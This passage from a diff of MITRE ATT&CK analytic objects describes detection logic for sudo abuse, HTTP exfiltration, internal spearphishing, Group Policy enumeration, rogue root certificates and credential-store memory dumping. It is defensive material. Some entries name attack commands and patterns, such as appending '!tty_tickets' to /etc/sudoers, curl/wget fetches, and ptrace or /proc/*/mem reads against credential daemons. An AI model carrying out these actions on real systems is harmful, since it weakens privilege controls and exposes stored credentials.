"created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0052#AN0142", + "external_id": "AN0142" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0142", + "description": "Correlate command executions involving 'sudo' with elevated effective user ID (euid=0), especially when tty_tickets is disabled or timestamp_timeout is actively abused.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "name": "auditd:SYSCALL", + "channel": "execve call for sudo where euid != uid" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "execve call for modification of /etc/sudoers or writing to /var/db/sudo" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "timestamp_timeout_threshold", + "description": "Tune the valid sudo session duration to reduce false positives" + }, + { + "field": "command_allowlist", + "description": "Filter benign sudo usage (e.g., approved admin scripts)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8825b589-3a6a-483a-9fc0-a4d00b1183ab", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0052#AN0143", + "external_id": "AN0143" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0143", + "description": "Detect sudo activity with NOPASSWD in /etc/sudoers or disabling tty_tickets, followed by immediate privileged commands (e.g., echo 'Defaults !tty_tickets' >> /etc/sudoers).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "exec or sudo usage with NOPASSWD context or echo modifying sudoers" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--61f1d40e-f3d0-4cc6-aa2d-937b6204194f", + "name": "macos:unifiedlog", + "channel": "Terminal process killed (killall Terminal) immediately after sudoers modification" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "admin_user_context", + "description": "Define allowed users who may modify sudoers without investigation" + }, + { + "field": "terminal_restart_window", + "description": "Time window after sudoers file change to monitor for Terminal restarts" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--79c7d394-e772-479c-acf9-ddd05b8a68b9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0053#AN0144", + "external_id": "AN0144" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0144", + "description": "Detects excessive outbound traffic to remote host over HTTP(S) from uncommon or previously unseen processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "HTTP " + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OutboundByteThreshold", + "description": "Defines threshold ratio of outbound to inbound bytes that signals possible obfuscation" + }, + { + "field": "ProcessAllowlist", + "description": "List of known legitimate network clients to exclude from anomaly checks" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--07deb060-c373-4059-b73b-736688a25c80", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0053#AN0145", + "external_id": "AN0145" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0145", + "description": "Identifies custom or previously unseen userland processes initiating high-volume HTTP connections with low response volume.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "auditd:SYSCALL", + "channel": "connect" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserProcessBaseline", + "description": "Defines what is considered abnormal for a user-initiated process context" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--dc87f086-1764-43c2-a7bf-1a5ba2ea8191", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0053#AN0146", + "external_id": "AN0146" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0146", + "description": "Flags unexpected user applications initiating long-lived HTTP(S) sessions with irregular traffic patterns.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "network flow" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "process" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SessionDuration", + "description": "Session length that exceeds average per-user expectations" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0bf5b548-50d0-4e73-bb3c-413cbdfafd97", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0054#AN0147", + "external_id": "AN0147" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0147", + "description": "Sequence of internal email sent from a recently compromised user account (preceded by abnormal logon or device activity), with attachments or links leading to execution or credential harvesting. Defender observes: internal mail delivery to peers with high entropy attachments, followed by click events, process initiation, or credential prompts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4625" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--39b9db72-8b48-4595-a18d-db5bbba3091b", + "name": "WinEventLog:Security", + "channel": "EventCode=4672" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "SendOnBehalf, MessageSend, ClickThrough, MailItemsAccessed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Expected time between internal email and link execution or file dropper" + }, + { + "field": "UserContext", + "description": "Baseline logon locations and device usage for sender accounts" + }, + { + "field": "AttachmentEntropyThreshold", + "description": "Entropy value over which attachment is considered suspicious" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b5b53b9d-f72b-4cd5-946b-d1ddfdad3c0f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0054#AN0148", + "external_id": "AN0148" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0148", + "description": "Delivery of suspicious internal communication (e.g., Thunderbird, Evolution) using compromised internal accounts. Sequence of: unexpected user activity + mail transfer logs + download or execution of attachments.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "Application:Mail", + "channel": "smtpd$.*$: .*from=[.*@internaldomain.com](mailto:.*@internaldomain.com) to=[.*@internaldomain.com](mailto:.*@internaldomain.com)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "linux:syslog", + "channel": "curl|wget|python .*http" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SubjectLineAnomaly", + "description": "Deviation from typical internal email subjects" + }, + { + "field": "AttachmentType", + "description": "Executable types allowed or flagged by mail relay" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3533fba3-e80d-4ad0-be45-62460b28ad7c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0054#AN0149", + "external_id": "AN0149" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0149", + "description": "Abnormal Apple Mail use, including internal email relays followed by file execution or script events (e.g., attachments launched via Preview, terminal triggered from Mail.app)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "com.apple.mail.* exec.*" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "curl|osascript.*open location" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ExecutionChainDepth", + "description": "Number of child processes stemming from Mail.app" + }, + { + "field": "MailScriptFlag", + "description": "Toggle on scripting detection within mail context" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1e2211b9-1730-4645-89f6-11259b35e0a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0054#AN0150", + "external_id": "AN0150" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0150", + "description": "Internal spearphishing via SaaS applications (e.g., Slack, Teams, Gmail): message sent from compromised user with attachment or URL, followed by click and credential access behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:slack", + "channel": "file_upload, message_send, message_click" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "UserAnomalyThreshold", + "description": "Volume or timing of messages sent after compromise" + }, + { + "field": "FileRiskScoring", + "description": "Whether SaaS DLP assigns risk scores to attachments" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e3f407f-192b-4e6f-aab0-e0682da3a4a9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0054#AN0151", + "external_id": "AN0151" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0151", + "description": "Outlook or Word used to forward suspicious internal attachments with macro content. Defender observes attachment forwarding, auto-opening behaviors, or macro prompt interactions.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "SendOnBehalf, MessageSend, AttachmentPreviewed" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:Security", + "channel": "EventCode=4104" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MacroExecutionWindow", + "description": "Timing between mail open and macro invocation" + }, + { + "field": "AttachmentNameHeuristics", + "description": "Patterns of known internal spearphishing lures (e.g., invoice, HR_policy)" + } + ], + "x_mitre_platforms": [ + "Office Suite" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--bf5772b8-86b4-4d73-bbff-6abb5da9edac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0055#AN0152", + "external_id": "AN0152" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0152", + "description": "Detection of adversary attempts to enumerate Group Policy settings through suspicious command execution (gpresult), PowerShell enumeration (Get-DomainGPO, Get-DomainGPOLocalGroup), and abnormal LDAP queries targeting groupPolicyContainer objects. Defenders observe unusual process lineage, script execution, or LDAP filter activity against domain controllers.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5c6de881-bc70-4070-855a-7a9631a407f7", + "name": "WinEventLog:Security", + "channel": "EventCode=4661" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "WinEventLog:Powershell", + "channel": "EventCode=4104" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "NSM:Flow", + "channel": "query: High-volume LDAP traffic with filters targeting groupPolicyContainer attributes" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the correlation window to link suspicious PowerShell activity, gpresult execution, and LDAP enumeration." + }, + { + "field": "UserContext", + "description": "Identifies accounts expected to perform GPO enumeration (administrators vs. standard users)." + }, + { + "field": "CommandLinePatterns", + "description": "Patterns for detecting suspicious gpresult or PowerShell cmdlets; tunable to reduce noise in environments where these tools are common." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a65545d7-fa1b-4d6f-b19c-fa03862c6210", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0056#AN0153", + "external_id": "AN0153" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0153", + "description": "Detection of unauthorized modifications to Windows root certificate stores by monitoring registry keys, certificate installation processes, and creation of new certificate entries not in baseline trusted lists.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Security", + "channel": "EventCode=4657" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=12" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TrustedRootHashList", + "description": "Baseline list of root certificate hashes; defenders can tune based on organizational certificate policies." + }, + { + "field": "MonitoredProcesses", + "description": "Processes associated with certificate management that should be flagged if executed by non-admin users or in unusual contexts." + }, + { + "field": "TimeWindow", + "description": "Correlation window for registry modifications, certificate installation, and process creation to strengthen detection." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--759c073c-2c40-484b-af47-8426ec5d5a3e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0056#AN0154", + "external_id": "AN0154" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0154", + "description": "Detection of unexpected additions or modifications to system-wide certificate stores or execution of commands adding certificates to trusted stores.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "auditd:SYSCALL", + "channel": "open, write: File modifications under /etc/ssl/certs, /usr/local/share/ca-certificates, or /etc/pki/ca-trust/source/anchors" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "execve: Execution of update-ca-certificates or trust anchor modification commands" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CertificatePaths", + "description": "Paths monitored for certificate modifications; can be tuned depending on Linux distribution." + }, + { + "field": "AdminAccounts", + "description": "Expected user accounts with privileges to install root certificates; anomalies outside this context are suspicious." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--477fb167-a388-4e85-856b-bdcb36e7fd95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0056#AN0155", + "external_id": "AN0155" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0155", + "description": "Detection of malicious certificate installation via monitoring execution of the `security add-trusted-cert` command and modifications to system keychains.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of /usr/bin/security add-trusted-cert or keychain modifications to System.keychain" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:osquery", + "channel": "query: Enumeration of root certificates showing unexpected additions" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredCommands", + "description": "Commands related to certificate management (e.g., security, profiles) that can be tuned per environment." + }, + { + "field": "KeychainBaseline", + "description": "Baseline of expected certificates in System.keychain to reduce false positives from legitimate enterprise certificates." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--94628b16-2443-4e66-9f7b-a61a39012a9c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0057#AN0156", + "external_id": "AN0156" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0156", + "description": "Detects suspicious memory access attempts targeting the `securityd` process. Observes tools invoking process memory read operations (e.g., ptrace, task_for_pid) against `securityd`. Correlates with anomalous parent process lineage, root privilege escalation, or repeated unauthorized attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "macos:unifiedlog", + "channel": "ptrace or task_for_pid" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of memory inspection tools (lldb, gdb, osqueryi)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedDebuggers", + "description": "List of authorized debugging tools permitted in dev/test environments" + }, + { + "field": "TimeWindow", + "description": "Correlation period between memory inspection and Keychain API access" + }, + { + "field": "PrivilegedUsers", + "description": "Expected set of admin accounts with legitimate debugging permissions" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9e0af3ac-dfeb-48c3-8d15-5f9edd69be69", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0057#AN0157", + "external_id": "AN0157" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0157", + "description": "Detects adversaries attempting to attach debuggers or memory dump utilities to credential storage daemons analogous to macOS `securityd`. Observes ptrace syscalls, /proc//mem access, or gcore dumps against sensitive processes. Correlates anomalies with privilege escalation or credential dumping attempts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "ptrace attach" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:FILE", + "channel": "/proc/*/mem read attempt" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "gcore, gdb, strings, hexdump execution" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredProcesses", + "description": "List of credential storage daemons (e.g., securityd, gnome-keyring, kwallet) monitored for memory access attempts" + }, + { + "field": "CorrelationDepth", + "description": "Defines how many chained events (process execution + syscall + file read) to correlate before raising an alert" + }, + { + "field": "PrivilegeContext", + "description": "Expected user/group context for processes allowed to access protected memory" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--55ec66de-8146-4fd0-a423-0954d6ba33ef", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0058#AN0158", + "external_id": "AN0158" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 0158", + "description": "Detection of a process or script that accesses a common web service to retrieve content containing obfuscated indicators of a secondary C2 server (dead drop resolver behavior).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "etw:Microsoft-Windows-NDIS-PacketCapture", + "channel": "TLS Handshake/Network Flow" + } + ], + 